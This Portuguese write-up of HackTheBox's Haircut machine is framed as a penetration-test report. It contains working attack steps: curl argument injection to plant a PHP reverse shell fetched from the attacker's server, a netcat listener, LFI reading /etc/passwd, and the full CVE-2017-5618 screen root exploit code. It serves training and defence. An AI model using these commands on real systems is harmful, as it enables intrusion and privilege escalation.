Haircut CTF Writeup
Tabela de Conteúdos
ToggleDocumentação apresentada pela Behind Security como parte da série “Jornada ao OSCP”, focando no Haircut CTF da HackTheBox.
Haircut CTF
O Haircut CTF aborda vários vetores de ataque úteis. Mais notavelmente, essa máquina demonstra o risco de argumentos CURL especificados pelo usuário, o que ainda afeta muitos serviços ativos atualmente.
HackTheBox
O Hack The Box oferece às pessoas, empresas e universidades as ferramentas necessárias para melhorar continuamente suas capacidades de segurança cibernética — tudo em um só lugar.
Resumo Executivo
Introdução
Este teste de penetração ao endereço IP 10.10.10.24
teve o objetivo de identificar e avaliar vulnerabilidades no sistema-alvo. A avaliação abrangeu a enumeração de serviços, a enumeração do servidor web, vulnerabilidades de acesso inicial e pós-exploração.
Objetivo
O objetivo deste teste de penetração foi avaliar a postura de segurança do sistema-alvo, identificar possíveis fraquezas e fornecer recomendações para mitigar as vulnerabilidades descobertas.
Requisitos
A avaliação exigiu testes detalhados na aplicação web hospedada em http://10.10.10.24
com ênfase específica na busca por diretórios escondidos, inclusão de arquivos locais (LFI) e execução remota de código (RCE) por meio de upload arbitrário de arquivos. Além disso, as atividades de pós-exploração focaram na exposição de credenciais de banco de dados e escalonamento de privilégios locais para o usuário root.
Resumo de Alto Nível das Vulnerabilidades
1. Busca Bruta de Diretórios (BS01)
- Descrição: Falta de medidas de segurança para evitar ataques de busca bruta de diretórios.
- Severidade: Moderada
- Recomendação: Implementar limitação de taxa ou CAPTCHA para mitigar ataques de busca bruta de diretórios.
2. Inclusão Local de Arquivos (BS02)
- Descrição: O script
exposed.php
é suscetível a Inclusão Local de Arquivos (LFI) devido a argumentos de entrada do usuário em comandos usando o softwarecurl
. - Severidade: Elevada
- Recomendação: Sanitizar a entrada do usuário no comando
curl
para evitar ataques de LFI.
3. Execução Remota de Código (RCE) via Upload Arbitrário de Arquivos (BS03)
- Descrição: O diretório
/uploads
permite o upload arbitrário de arquivos, levando a uma possível RCE. - Severidade: Extrema
- Recomendação: Validar tipos de arquivo, restringir uploads e implementar validação adequada de entrada.
4. Credenciais de Banco de Dados Expostas (BS04)
- Descrição: As credenciais de root do banco de dados estão armazenadas em texto claro no diretório home do usuário "maria".
- Severidade: Elevada
- Recomendação: Criptografar ou armazenar de forma segura as credenciais do banco de dados e limitar o acesso a informações sensíveis.
5. Escalonamento Local de Privilégios para Root (BS05)
- Descrição: Versão vulnerável desatualizada (4.5.0) do
screen
com um bit SUID, suscetível a escalonamento local de privilégios. - Severidade: Extrema
- Recomendação: Atualizar o
screen
para uma versão não vulnerável e regularmente aplicar patches e atualizar o software do sistema.
Recomendações
- Implementar limitação de taxa ou CAPTCHA para mitigar ataques de busca bruta de diretórios (BS01).
- Sanitizar a entrada do usuário no comando
curl
para evitar ataques de LFI (BS02). - Validar tipos de arquivo, restringir uploads e implementar validação adequada de entrada para evitar RCE via upload arbitrário de arquivos (BS03).
- Criptografar ou armazenar de forma segura as credenciais do banco de dados e limitar o acesso a informações sensíveis (BS04).
- Atualizar o
screen
para uma versão não vulnerável e aplicar patches e atualizações regulares no software do sistema para evitar escalonamento local de privilégios para root (BS05).
Metodologia
A avaliação utilizou ferramentas automatizadas como Feroxbuster para busca bruta de diretórios e testes manuais para LFI, RCE e vulnerabilidades de escalonamento de privilégios. As atividades pós-exploração envolveram a identificação de credenciais de banco de dados expostas e a exploração de uma vulnerabilidade conhecida no utilitário screen
.
Este resumo fornece uma visão geral das principais descobertas e recomendações, mas detalhes adicionais e passos para reproduzir cada vulnerabilidade estão disponíveis na seção "Desafio Independente".
Legenda de Cores
Texto padrão do console
Comandos inseridos pelo testador de penetração
Texto que queremos destacar
{...} Saída abreviada para brevidade
Classificação de Risco
Desafio Independente - 10.10.10.24
export IP=10.10.10.24
Enumeração de Serviços
Endereço IP | Portas Abertas |
---|---|
10.10.10.24 | TCP: 22, 80 |
Enumeração do Servidor Web (80/tcp)
BS01 - Busca Bruta de Diretórios
Explicação da Vulnerabilidade: Não há segurança implementada para evitar ataques de busca bruta de diretórios, permitindo que um atacante mapeie facilmente a árvore de diretórios da aplicação web.
Correção da Vulnerabilidade: Implementar limitação de taxa ou CAPTCHA para mitigar ataques de busca bruta de diretórios.
Severidade: Moderada
Passos para Reproduzir o Ataque:
- Use uma ferramenta automatizada, como
feroxbuster -u http://10.10.10.24 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x php
.
Comentários Adicionais: A saída da varredura do Feroxbuster geralmente é fácil de ler, e é recursiva por padrão, então sempre que encontra outro caminho a seguir, o seguirá automaticamente.
BS02 - Inclusão Local de Arquivos
Explicação da Vulnerabilidade: O script php localizado em http://10.10.10.24/exposed.php
está utilizando o curl
com argumentos de entrada do usuário. Isso resulta em uma vulnerabilidade de Inclusão Local de Arquivos (LFI), pois o atacante pode passar file://
como entrada e ler arquivos locais.
Correção da Vulnerabilidade: Sanitizar a entrada do usuário no comando curl
para evitar ataques de LFI.
Severidade: Elevada
Passos para Reproduzir o Ataque:
- Acesse
http://10.10.10.24/exposed.php
. - Recupere arquivos locais fornecendo
file:///etc/passwd
. Você pode substituir/etc/passwd
pelo arquivo que deseja ler.
BS03 - Acesso Inicial: Execução Remota de Código (RCE) via Upload Arbitrário de Arquivos
Explicação da Vulnerabilidade: Como mencionado anteriormente, o script em http://10.10.10.24/exposed.php
está utilizando o curl
com argumentos fornecidos pelo usuário. A enumeração da estrutura do servidor web apontada em BS01 mostra a presença de um diretório /uploads
, que geralmente é configurado como gravável por qualquer pessoa para receber uploads. Um atacante pode usar este diretório para fazer upload arbitrário de um script PHP malicioso e enganar o servidor para executá-lo.
Correção da Vulnerabilidade: Validar tipos de arquivo e restringir uploads para diretórios específicos. Implementar validação adequada de entrada.
Severidade: Extrema
Passos para Reproduzir o Ataque:
- Faça o download de um shell reverso em PHP.
- Abra o script no seu editor de texto favorito e edite o valor do IP para o endereço IP da sua interface TUN-0.
- Hospede o script usando um servidor web Python3 simples:
sudo python3 -m http.server 80
- Acesse
http://10.10.10.24/exposed.php
e use o seguinte para fazer o servidor acessar seu servidor web, baixar o shell reverso para o diretório /uploads:http://SEU-IP-TUN0/php-reverse-shell.php -o uploads/evil.php
- Inicie um ouvinte netcat na porta 1234 (se você não alterou o valor da porta no shell reverso PHP):
nc -lvnp 1234
- Acesse o shell reverso PHP em
http://10.10.10.24/uploads/evil.php
e aproveite o seu shell.
Pós-Exploração
BS04 - Credenciais de Banco de Dados Expostas
Explicação da Vulnerabilidade: As credenciais de root do banco de dados (usuário e senha) foram encontradas em texto claro no diretório home do usuário "maria".
Correção da Vulnerabilidade: Criptografar ou armazenar de forma segura as credenciais do banco de dados. Limitar o acesso a informações sensíveis.
Severidade: Elevada
Passos para Reproduzir o Ataque:
- Execute
cat /home/maria/.tasks/task1
BS05 - Escalonamento Local de Privilégios para Root
Explicação da Vulnerabilidade: Uma versão desatualizada (4.5.0) do screen
está presente no sistema, com um bit SUID. Essa versão específica é vulnerável a um Escalonamento Local de Privilégios (LPE) para root ao abusar da sobrescrita do ld.so.preload
. A vulnerabilidade é conhecida como CVE-2017-5618
.
Correção da Vulnerabilidade: Atualizar o screen
para uma versão não vulnerável. Aplicar patches e atualizar regularmente o software do sistema.
Severidade: Extrema
Passos para Reproduzir o Ataque:
- Cole o seguinte no terminal da sua máquina local para criar
libhax.c
:
cat << EOF > libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
- Compile-o e remova o programa em C:
gcc -fPIC -shared -ldl -o libhax.so libhax.c && rm -f libhax.c
- Cole o seguinte no terminal da sua máquina para criar
rootshell.c
:
cat << EOF > rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
- Compile-o e remova o programa em C:
gcc -o rootshell rootshell.c && rm -f rootshell.c
- Crie
exploit.sh
e insira o seguinte usando o seu editor de texto favorito:
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
cd /etc
umask 000
/usr/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
/usr/bin/screen-4.5.0 -ls # screen itself is setuid, so...
/tmp/rootshell
- Execute o seguinte para iniciar um servidor http usando python para transferir os programas compilados e o
exploit.sh
para a máquina vítima:sudo python3 -m http.server 80
- Dentro da máquina vítima, vá para /tmp:
cd /tmp
e use o wget para transferir os arquivos de exploração da sua máquina:wget http://SEU-IP-TUN0/rootshell && wget http://SEU-IP-TUN0/libhax.so && wget http://SEU-IP-TUN0/exploit.sh
- Marque o exploit como executável e execute-o:
chmod +x exploit.sh && ./exploit.sh
. Você obterá um shell de root.
Conclusão
Esperamos que você tenha achado nosso conteúdo sobre o Haircut CTF útil e convidamos você a explorar mais nosso site para descobrir outros tópicos interessantes que cobrimos. Da cibersegurança à programação, nos esforçamos para fornecer aos nossos leitores as informações mais recentes e relevantes que possam ajudá-los a se manter informados e à frente do jogo. Estamos comprometidos em oferecer a melhor experiência possível e estamos abertos a feedback e sugestões por meio do nosso formulário de contato. Obrigado por escolher a Behind Security, esperamos vê-lo novamente em breve!
BEHIND SECURITY
Behind Security é uma plataforma online dedicada a prover artigos informativos sobre cibersegurança, privacidade, e programação.